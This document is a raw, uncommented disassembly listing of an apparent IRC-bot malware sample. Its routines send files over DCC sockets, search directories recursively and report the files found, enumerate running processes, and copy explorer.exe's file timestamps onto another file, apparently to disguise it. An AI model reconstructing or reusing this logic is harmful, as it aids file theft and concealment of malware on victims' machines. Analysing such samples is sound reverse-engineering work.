db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40C440 proc near ; CODE XREF: sub_401BF9j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40C440
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 4
push 0Eh
push 5
push 13h
push 4Fh
push 3
push 3
lea eax, [esp+48h+var_24]
push 4
mov esi, ecx
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_40168B
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_40C440 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40C4E0 proc near ; CODE XREF: sub_40171Cj
var_AB4 = dword ptr -0AB4h
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = byte ptr -0A9Ch
var_A98 = byte ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = dword ptr -0A90h
var_A8C = dword ptr -0A8Ch
var_A88 = dword ptr -0A88h
var_A84 = dword ptr -0A84h
var_A78 = byte ptr -0A78h
var_A74 = dword ptr -0A74h
var_A70 = byte ptr -0A70h
var_A6C = byte ptr -0A6Ch
var_A5C = byte ptr -0A5Ch
var_A54 = byte ptr -0A54h
var_A3C = byte ptr -0A3Ch
var_A38 = byte ptr -0A38h
var_A24 = byte ptr -0A24h
var_A1C = dword ptr -0A1Ch
var_A18 = dword ptr -0A18h
var_910 = byte ptr -910h
var_710 = byte ptr -710h
var_510 = byte ptr -510h
var_40C = byte ptr -40Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40C4E0
push eax
mov large fs:0, esp
sub esp, 0AA0h
add ecx, 4
push ebx
push ebp
push esi
push edi
call sub_4014DD
mov ebp, [esp+0ABCh+arg_0]
push eax
lea ecx, [ebp+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CA2E
lea ecx, [esp+0ABCh+var_A78]
call sub_401091
push 1
push offset asc_444600 ; " "
lea eax, [esp+0AC4h+var_A3C]
xor esi, esi
push 1
push eax
mov ecx, ebp
mov [esp+0ACCh+var_4], esi
call sub_4011EA
push eax
lea ecx, [esp+0AC0h+var_A70]
mov byte ptr [esp+0AC0h+var_4], 1
call sub_40202C
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
push esi
push 1
push 2
mov [esp+0AC8h+var_AA8], esi
mov [esp+0AC8h+var_AA4], esi
mov [esp+0AC8h+var_A90], esi
nop
call near ptr 71AB3B91h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [esp+0ABCh+var_AAC], ebx
jnz short loc_40C5AC
lea ecx, [esp+0ABCh+var_710]
push offset aDccFailedToCre ; "[DCC]: Failed to create socket."
push ecx
call sub_5F74D1
nop
add esp, 8
jmp loc_40C9D5
; ---------------------------------------------------------------------------
loc_40C5AC: ; CODE XREF: sub_40C4E0+AFj
xor edx, edx
push esi
mov [esp+0AC0h+var_AA0], edx
mov word ptr [esp+0AC0h+var_AA0], 2
mov dword ptr [esp+0AC0h+var_A9C], edx
mov dword ptr [esp+0AC0h+var_A98], edx
mov [esp+0AC0h+var_A94], edx
nop
call near ptr 71AB2B66h
mov word ptr [esp+0ABCh+var_AA0+2], ax
lea eax, [esp+0ABCh+var_AA0]
push 10h
push eax
push ebx
mov dword ptr [esp+0AC8h+var_A9C], esi
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_40C5FA
lea ecx, [ebp+69h]
call sub_4014DD
push eax
push offset aDccFailedToBin ; "dcc: failed to bind socket"
jmp loc_40C6A0
; ---------------------------------------------------------------------------
loc_40C5FA: ; CODE XREF: sub_40C4E0+105j
lea eax, [esp+0ABCh+var_A88]
lea ecx, [esp+0ABCh+var_AA0]
push eax
push ecx
push ebx
mov [esp+0AC8h+var_A88], 10h
nop
call near ptr 71AB951Eh
mov edx, [esp+0ABCh+var_AA0+2]
push edx
call near ptr 71AB2B66h
nop
lea ecx, [esp+0ABCh+var_A70]
mov [esp+0ABCh+var_A8C], eax
call sub_4014DD
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+0ABCh+var_910]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
xor edx, edx
rep movsb
loc_40C653: ; CODE XREF: sub_40C4E0+1A3j
mov al, [esp+edx+0ABCh+var_910]
cmp al, 20h
jnz short loc_40C665
mov eax, 5Fh
jmp short loc_40C668
; ---------------------------------------------------------------------------
loc_40C665: ; CODE XREF: sub_40C4E0+17Cj
movsx eax, al
loc_40C668: ; CODE XREF: sub_40C4E0+183j
mov [esp+edx+0ABCh+var_510], al
lea edi, [esp+0ABCh+var_910]
or ecx, 0FFFFFFFFh
xor eax, eax
inc edx
repne scasb
not ecx
dec ecx
cmp edx, ecx
jbe short loc_40C653
push 1
push ebx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_40C6BD
lea ecx, [ebp+69h]
call sub_4014DD
push eax
push offset aDccFailedToOpe ; "dcc: failed to open socket"
loc_40C6A0: ; CODE XREF: sub_40C4E0+115j
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_40C9CF
; ---------------------------------------------------------------------------
loc_40C6BD: ; CODE XREF: sub_40C4E0+1B0j
push 0
push 0
push 3
push 0
push 1
push 80000000h
lea ecx, [esp+0AD4h+var_A70]
call sub_4017EE
push eax
call near ptr 2850440h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C724
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccFileDoesnTE ; "dcc: file doesn't exist"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
lea edx, [esp+0ABCh+var_710]
push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
push edx
nop
call sub_5F74D1
add esp, 8
jmp loc_40C9CF
; ---------------------------------------------------------------------------
loc_40C724: ; CODE XREF: sub_40C4E0+201j
push 0
push esi
nop
call near ptr 2850000h
lea ecx, [esp+0ABCh+var_A54]
mov ebx, eax
call sub_40142E
mov eax, [esp+0ABCh+var_A8C]
push ebx
and eax, 0FFFFh
mov byte ptr [esp+0AC0h+var_4], 2
push eax
mov eax, dword_4D809D
push eax
call sub_401E10
add esp, 4
push eax
call near ptr 71AB2BF4h
nop
push eax
nop
call near ptr 71AB2BC0h
push eax
lea ecx, [esp+0AD0h+var_A78]
call sub_4017EE
push eax
lea ecx, [esp+0AD4h+var_A5C]
push offset dword_444A10
push ecx
call sub_40102D
add esp, 18h
lea ecx, [ebp+15h]
call sub_40168B
push eax
lea ecx, [esp+0AC8h+var_A5C]
call sub_4014DD
mov dl, [ebp+94h]
push eax
mov al, [ebp+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
mov edi, [esp+0AC4h+var_AB4]
lea ecx, [esp+0AC4h+var_A88]
push ecx
push 0
lea edx, [esp+0ACCh+var_A1C]
push 0
push edx
push 0
mov [esp+0AD8h+var_A88], 3Ch
mov [esp+0AD8h+var_A84], 0
mov [esp+0AD8h+var_A18], edi
mov [esp+0AD8h+var_A1C], 1
nop
call near ptr 71AB2DC0h
test eax, eax
jg short loc_40C81D
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+93h]
push eax
mov al, [ebp+94h]
push offset aDccTimeout ; "dcc: timeout"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_40C9BA
; ---------------------------------------------------------------------------
loc_40C81D: ; CODE XREF: sub_40C4E0+310j
lea edx, [esp+0ABCh+var_A84]
lea eax, [esp+0ABCh+var_A24]
push edx
push eax
push edi
mov [esp+0AC8h+var_A84], 10h
nop
call near ptr 71AC1028h
cmp eax, 0FFFFFFFFh
mov [esp+0ABCh+var_A74], eax
jnz short loc_40C86D
lea ecx, [ebp+69h]
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push offset aDccUnableToOpe ; "dcc: unable to open socket"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_40C9BA
; ---------------------------------------------------------------------------
loc_40C86D: ; CODE XREF: sub_40C4E0+360j
push edi
call near ptr 71AB9639h
nop
test ebx, ebx
jz loc_40C925
loc_40C87C: ; CODE XREF: sub_40C4E0+438j
mov ebp, 400h
cmp ebx, ebp
jge short loc_40C887
mov ebp, ebx
loc_40C887: ; CODE XREF: sub_40C4E0+3A3j
mov edx, ebx
xor eax, eax
neg edx
push 2
mov ecx, 100h
lea edi, [esp+0AC0h+var_40C]
push eax
push edx
push esi
rep stosd
nop
call near ptr 28403B1h
lea eax, [esp+0ABCh+var_A90]
push 0
push eax
lea ecx, [esp+0AC4h+var_40C]
push ebp
push ecx
push esi
nop
call near ptr 2840000h
mov eax, [esp+0ABCh+var_A74]
push 0
lea edx, [esp+0AC0h+var_40C]
push ebp
push edx
push eax
nop
call near ptr 71AB428Ah
mov ecx, [esp+0ABCh+var_AA8]
mov ebp, [esp+0ABCh+var_AA4]
mov edi, eax
push 0
cdq
add ecx, eax
push 400h
mov [esp+0AC4h+var_AA8], ecx
lea ecx, [esp+0AC4h+var_40C]
adc ebp, edx
mov edx, [esp+0AC4h+var_A74]
push ecx
push edx
mov [esp+0ACCh+var_AA4], ebp
nop
call near ptr 71AB615Ah
cmp eax, 1
jl loc_40C9EE
cmp edi, 1
jl loc_40C9EE
sub ebx, edi
jnz loc_40C87C
mov ebp, [esp+0ABCh+arg_0]
loc_40C925: ; CODE XREF: sub_40C4E0+396j
push esi
nop
call near ptr 2830910h
lea ecx, [esp+0AB8h+var_A38]
call sub_40142E
mov eax, [esp+0AB8h+var_AA0]
mov ecx, [esp+0AB8h+var_AA4]
push eax
push ecx
lea ecx, [esp+0AC0h+var_A6C]
mov byte ptr [esp+0AC0h], 3
call sub_4014DD
mov edx, [esp+0AC0h+var_A1C]
push eax
push edx
nop
call near ptr 71AB3F41h
push eax
lea eax, [esp+0ACCh+var_A3C]
push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"...
push eax
call sub_40102D
add esp, 18h
lea ecx, [ebp+69h]
call sub_4014DD
push eax
lea ecx, [esp+0AC0h+var_A3C]
call sub_4014DD
mov cl, [ebp+94h]
mov dl, [ebp+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+0ABCh+var_A3C]
mov byte ptr [esp+0ABCh+var_4], 2
call sub_401226
loc_40C9BA: ; CODE XREF: sub_40C4E0+338j
; sub_40C4E0+388j
lea ecx, [esp+0ABCh+var_A54]
mov byte ptr [esp+0ABCh+var_4], 0
call sub_401226
mov ebx, [esp+0ABCh+var_AAC]
loc_40C9CF: ; CODE XREF: sub_40C4E0+1D8j
; sub_40C4E0+23Fj
xor esi, esi
cmp ebx, esi
jbe short loc_40C9DC
loc_40C9D5: ; CODE XREF: sub_40C4E0+C7j
push ebx
nop
call near ptr 71AB9639h
loc_40C9DC: ; CODE XREF: sub_40C4E0+4F3j
mov eax, [esp+0ABCh+var_A74]
push eax
nop
call near ptr 71AB9639h
push esi
nop
call near ptr 2830101h
loc_40C9EE: ; CODE XREF: sub_40C4E0+427j
; sub_40C4E0+430j
mov esi, [esp+0ABCh+arg_0]
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push offset aDccSocketError ; "dcc: socket error"
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
mov edx, [esp+0ABCh+var_A74]
push edx
call near ptr 71AB9639h
nop
push 1
nop
call near ptr 2830101h
loc_40CA2E: ; CODE XREF: sub_40C4E0+39j
mov ecx, [esp+0ABCh+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 0AACh
retn 4
sub_40C4E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CBB0 proc near ; CODE XREF: sub_401091j
push esi
mov esi, ecx
lea ecx, [esi+8]
call sub_40142E
mov eax, esi
pop esi
retn
sub_40CBB0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CBD0: ; CODE XREF: ___:loc_401B13j
add ecx, 8
jmp sub_401226
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40CBF0 proc near ; CODE XREF: sub_402063j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CBF0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 5
push 0Ch
push 9
lea eax, [esp+38h+var_24]
push 6
mov esi, ecx
push eax
call sub_4019C4
add esp, 18h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017EE
add esi, 4
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
sub_40CBF0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CC90 proc near ; CODE XREF: sub_401BB8j
var_279 = byte ptr -279h
var_278 = byte ptr -278h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = byte ptr -258h
var_247 = byte ptr -247h
var_232 = byte ptr -232h
var_221 = dword ptr -221h
var_21D = dword ptr -21Dh
var_219 = dword ptr -219h
var_215 = dword ptr -215h
var_211 = dword ptr -211h
var_20C = byte ptr -20Ch
var_208 = byte ptr -208h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_40CC90
push eax
mov large fs:0, esp
sub esp, 270h
add ecx, 4
push esi
call sub_4014DD
mov esi, [esp+280h+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_40CE91
push ebx
lea ecx, [esp+284h+var_260]
call sub_40199C
lea eax, [esi+2Ah]
xor ebx, ebx
push eax
lea ecx, [esp+288h+var_25C]
mov [esp+288h+var_4], ebx
mov [esp+288h+var_260], ebx
call sub_40202C
push 1
push offset asc_444600 ; " "
lea ecx, [esp+28Ch+var_278]
push 2
push ecx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+288h+var_247]
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
push 1
push offset asc_444600 ; " "
lea edx, [esp+28Ch+var_278]
push 3
push edx
mov ecx, esi
call sub_4011EA
mov ecx, eax
mov byte ptr [esp+284h+var_4], 2
call sub_4017EE
push eax
lea ecx, [esp+288h+var_232]
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
mov edx, [esp+284h+var_221]
xor eax, eax
mov al, [esi+94h]
xor ecx, ecx
mov cl, [esi+93h]
mov [esp+284h+var_219], eax
lea eax, [esp+284h+var_278]
mov [esp+284h+var_215], ecx
push edx
push eax
lea ecx, [esp+28Ch+var_232]
mov [esp+28Ch+var_21D], ebx
mov [esp+28Ch+var_211], 1
call sub_401E47
push offset asc_444AE4 ; "\\"
mov ecx, eax
mov byte ptr [esp+288h+var_4], 3
call sub_4012EE
test eax, eax
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
setz [esp+284h+var_279]
call sub_401226
cmp [esp+284h+var_279], bl
jz short loc_40CE0B
mov ecx, [esp+284h+var_221]
lea edx, [esp+284h+var_278]
push ecx
push edx
lea ecx, [esp+28Ch+var_232]
call sub_401E47
push offset dword_448F44
mov ecx, eax
mov byte ptr [esp+288h+var_4], 4
call sub_401A9B
lea ecx, [esp+284h+var_278]
mov byte ptr [esp+284h+var_4], bl
call sub_401226
loc_40CE0B: ; CODE XREF: sub_40CC90+142j
push ebx
lea ecx, [esp+288h+var_232]
call sub_4014DD
push eax
lea ecx, [esp+28Ch+var_247]
call sub_4014DD
push eax
mov eax, [esp+290h+var_219]
push eax
lea ecx, [esp+294h+var_25C]
call sub_40168B
mov ecx, [esp+294h+var_260]
push eax
push ecx
call sub_40227A
push eax
lea edx, [esp+2A0h+var_20C]
push offset aFilesFoundD ; "Files Found: %d"
push edx
nop
call sub_5F74D1
mov eax, [esp+2A4h+var_211]
add esp, 24h
cmp eax, ebx
jnz short loc_40CE7C
mov eax, [esp+280h+var_215]
lea ecx, [esp+280h+var_208]
push eax
push ecx
lea ecx, [esp+288h+var_258]
call sub_40168B
mov edx, [esp+288h+var_25C]
push eax
push edx
call sub_40152D
add esp, 10h
loc_40CE7C: ; CODE XREF: sub_40CC90+1C9j
mov eax, [esp+280h+var_219]
push eax
call sub_401E3D
add esp, 4
push ebx
call near ptr 2830101h
nop
pop ebx
loc_40CE91: ; CODE XREF: sub_40CC90+36j
mov ecx, [esp+280h+var_C]
mov al, 1
pop esi
mov large fs:0, ecx
add esp, 27Ch
retn 4
sub_40CC90 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40CF40 proc near ; CODE XREF: sub_40199Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40CF40
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Eh]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_40CF40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40CFC0: ; CODE XREF: ___:loc_40228Ej
push 0FFFFFFFFh
push offset loc_43A086
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+2Eh]
mov dword ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+19h]
mov byte ptr [esp+10h], 0
call sub_401226
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40D040 proc near ; CODE XREF: sub_40227Aj
var_548 = byte ptr -548h
var_51C = byte ptr -51Ch
var_51B = byte ptr -51Bh
var_408 = byte ptr -408h
var_304 = byte ptr -304h
var_200 = byte ptr -200h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
sub esp, 548h
lea eax, [esp+548h+var_408]
push ebx
push ebp
push esi
mov esi, [esp+554h+arg_10]
push edi
mov edi, dword_511AE4
push esi
push offset aS_1 ; "%s\\*"
push 104h
push eax
call edi ; _snprintf
add esp, 10h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
call near ptr 2870000h
nop
mov ebp, [esp+558h+arg_14]
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D107
loc_40D090: ; CODE XREF: sub_40D040+C5j
test [esp+558h+var_548], 10h
jz short loc_40D0F7
cmp [esp+558h+var_51C], 2Eh
jnz short loc_40D0AA
mov al, [esp+558h+var_51B]
test al, al
jz short loc_40D0F7
cmp al, 2Eh
jz short loc_40D0F7
loc_40D0AA: ; CODE XREF: sub_40D040+5Cj
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_304]
push eax
push esi
push offset dword_444684
push 104h
push ecx
call edi ; _snprintf
mov eax, [esp+56Ch+arg_C]
mov ecx, [esp+56Ch+arg_8]
lea edx, [esp+56Ch+var_304]
push ebp
push edx
mov edx, [esp+574h+arg_4]
push eax
mov eax, [esp+578h+arg_0]
push ecx
push edx
push eax
call sub_40227A
add esp, 2Ch
mov ebp, eax
loc_40D0F7: ; CODE XREF: sub_40D040+55j
; sub_40D040+64j ...
lea ecx, [esp+558h+var_548]
push ecx
push ebx
nop
call near ptr 2860000h
test eax, eax
jnz short loc_40D090
loc_40D107: ; CODE XREF: sub_40D040+4Ej
push ebx
nop
call near ptr 285069Dh
mov edx, [esp+558h+arg_C]
lea eax, [esp+558h+var_408]
push edx
push esi
push offset dword_444684
push 104h
push eax
call edi ; _snprintf
add esp, 14h
lea ecx, [esp+558h+var_548]
lea edx, [esp+558h+var_408]
push ecx
push edx
call near ptr 2870000h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40D19B
loc_40D148: ; CODE XREF: sub_40D040+159j
lea eax, [esp+558h+var_51C]
lea ecx, [esp+558h+var_200]
push eax
push esi
push offset aFoundSS ; "Found: %s\\%s"
push 200h
push ecx
inc ebp
call edi ; _snprintf
mov edx, [esp+56Ch+arg_8]
mov ecx, [esp+56Ch+arg_4]
lea eax, [esp+56Ch+var_200]
push edx
mov edx, [esp+570h+arg_0]
push eax
push ecx
push edx
call sub_40152D
add esp, 24h
lea eax, [esp+558h+var_548]
push eax
push ebx
nop
call near ptr 2860000h
test eax, eax
jnz short loc_40D148
loc_40D19B: ; CODE XREF: sub_40D040+106j
push ebx
nop
call near ptr 285069Dh
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 548h
retn
sub_40D040 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D210 proc near ; CODE XREF: sub_40104Bj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40D210
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 4
push 4
push 1
push 13h
lea eax, [esp+58h+var_3C]
push 1
mov esi, ecx
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+19h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_40D210 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 13h
lea edx, [esp+1Ch]
push 1
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+47h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 4
push 4
push 1
push 3
push 16h
lea ecx, [esp+20h]
push 13h
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+75h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 5
push 4
push 3
push 16h
push 13h
lea eax, [esp+3Ch]
push eax
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
add esi, 0A3h
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D3C0: ; CODE XREF: ___:004013CFj
sub esp, 104h
lea eax, [esp+0]
push 104h
push eax
push 0
nop
call near ptr 2871C12h
push eax
nop
call near ptr 287102Ch
mov eax, dword_449080
test eax, eax
jz loc_40D4E3
mov ecx, dword_44907C
test ecx, ecx
jz loc_40D4E3
mov ecx, dword_448F48
test ecx, ecx
jz loc_40D4E3
push 0
push 2
call eax ; CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov dword_449078, eax
jz loc_40D4E3
push ebp
push offset dword_448F50
push eax
xor ebp, ebp
mov dword_448F50, 128h
call dword_44907C ; Process32First
test eax, eax
jz loc_40D4CC
push ebx
mov ebx, [esp+110h]
push esi
mov esi, dword_511AE0
push edi
loc_40D44D: ; CODE XREF: ___:0040D4C7j
mov edi, offset dword_448F74
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+10h]
repne scasb
not ecx
dec ecx
mov edi, offset dword_448F74
push ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea edi, [esp+14h]
sub edx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push offset dword_448F74
add edx, ecx
push edx
call esi ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_40D4B3
mov edi, offset dword_448F74
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push offset dword_448F74
mov ecx, ebx
call sub_40168B
push eax
call esi ; strncmp
add esp, 0Ch
test eax, eax
jnz short loc_40D4B4
loc_40D4B3: ; CODE XREF: ___:0040D48Bj
inc ebp
loc_40D4B4: ; CODE XREF: ___:0040D4B1j
mov eax, dword_449078
push offset dword_448F50
push eax
call dword_448F48 ; Process32Next
test eax, eax
jnz short loc_40D44D
pop edi
pop esi
pop ebx
loc_40D4CC: ; CODE XREF: ___:0040D437j
mov ecx, dword_449078
push ecx
nop
call near ptr 2830910h
mov eax, ebp
pop ebp
add esp, 104h
retn
; ---------------------------------------------------------------------------
loc_40D4E3: ; CODE XREF: ___:0040D3E6j
; ___:0040D3F4j ...
xor eax, eax
add esp, 104h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40D540: ; CODE XREF: ___:00401FAFj
sub esp, 11Ch
lea eax, [esp+18h]
push ebx
push esi
push edi
push 104h
push eax
call near ptr 2880AE7h
nop
mov edi, offset aExplorer_exe ; "\\explorer.exe"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+24h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
push 80h
and ecx, 3
push 3
push eax
push 1
rep movsb
mov edi, dword_5118F0
lea eax, [esp+38h]
push 80000000h
push eax
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D606
lea ecx, [esp+1Ch]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+18h]
push edx
push eax
push esi
nop
call near ptr 288065Fh
mov ebx, dword_5118E0
push esi
call ebx
mov ecx, [esp+12Ch]
push 0
push 80h
push 3
push 0
push 2
push 40000000h
push ecx
call edi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40D606
lea edx, [esp+1Ch]
lea eax, [esp+0Ch]
push edx
lea ecx, [esp+18h]
push eax
push ecx
push esi
nop
call near ptr 2880000h
push esi
call ebx
loc_40D606: ; CODE XREF: ___:0040D5A9j
; ___:0040D5EBj
pop edi
pop esi
pop ebx
add esp, 11Ch
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40D660 proc near ; CODE XREF: sub_401B6Dj
var_19C = byte ptr -19Ch
var_184 = byte ptr -184h
var_16C = byte ptr -16Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_40D660
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 190h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+1A8h+var_16C]
call sub_40142E
push 104h
push 104h
lea ecx, [esp+1B0h+var_16C]
mov [esp+1B0h+var_4], 0
call sub_401C71
push eax
call near ptr 27F0000h
nop
lea ecx, [esp+1A8h+var_16C]
call sub_4017EE
push eax
lea ecx, [esi+4]
call sub_4015E1
lea ecx, [esp+1A8h+var_184]
call sub_40142E
mov ebx, 1
push 104h
push 104h
lea ecx, [esp+1B0h+var_184]
mov byte ptr [esp+1B0h+var_4], bl
call sub_401C71
push eax
push 0
nop
call near ptr 2871C12h
push eax
nop
call near ptr 287102Ch
push offset aKernel32_dll_0 ; "kernel32.dll"
call near ptr 27E08BCh
nop
mov esi, eax
test esi, esi
jz short loc_40D751
